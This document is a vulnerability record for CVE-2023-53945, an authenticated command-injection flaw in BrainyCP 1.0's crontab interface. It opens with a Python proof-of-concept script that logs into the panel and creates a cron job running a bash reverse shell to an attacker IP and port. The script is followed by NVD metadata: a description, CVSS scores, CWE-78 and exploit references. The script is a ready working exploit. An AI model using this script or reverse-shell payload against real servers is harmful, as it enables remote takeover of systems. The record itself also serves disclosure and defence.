CVE-2023-53945

import requests import time # CVE-2023-53945 PoC - BrainyCP Authenticated RCE via Crontab # Target: BrainyCP 1.0 # Attack: Inject reverse shell command via crontab configuration target_url = "http://target.com:8888" username = "attacker" password = "password123" attacker_ip = "10.0.0.1" attacker_port = "4444" session = requests.Session() # Step 1: Login to BrainyCP login_url = f"{target_url}/api/auth/login" login_data = { "username": username, "password": password } response = session.post(login_url, json=login_data) # Step 2: Create malicious cronjob with reverse shell cron_url = f"{target_url}/api/cron/create" # Payload: Reverse shell using netcat malicious_command = f"/bin/bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" cron_data = { "minute": "*", "hour": "*", "day": "*", "month": "*", "weekday": "*", "command": malicious_command, "active": 1 } response = session.post(cron_url, json=cron_data) # Step 3: Trigger cron execution immediately (if API supports) print(f"[+] Cronjob created, waiting for execution...") print(f"[+] Connect to {attacker_ip}:{attacker_port} with netcat")

{"cve": {"id": "CVE-2023-53945", "sourceIdentifier": "[email protected]", "published": "2025-12-19T21:15:48.583", "lastModified": "2025-12-31T17:48:36.777", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "BrainyCP 1.0 contains an authenticated remote code execution vulnerability that allows logged-in users to inject arbitrary commands through the crontab configuration interface. Attackers can exploit the crontab endpoint by adding a malicious command that spawns a reverse shell to a specified IP and port."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:brainycp:brainycp:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "038FAAA0-A6A5-48FC-AB10-8CEC0198D481"}]}]}], "references": [{"url": "https://brainycp.io", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51357", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/brainycp-remote-code-execution-via-authenticated-crontab-manipulation", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/51357", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}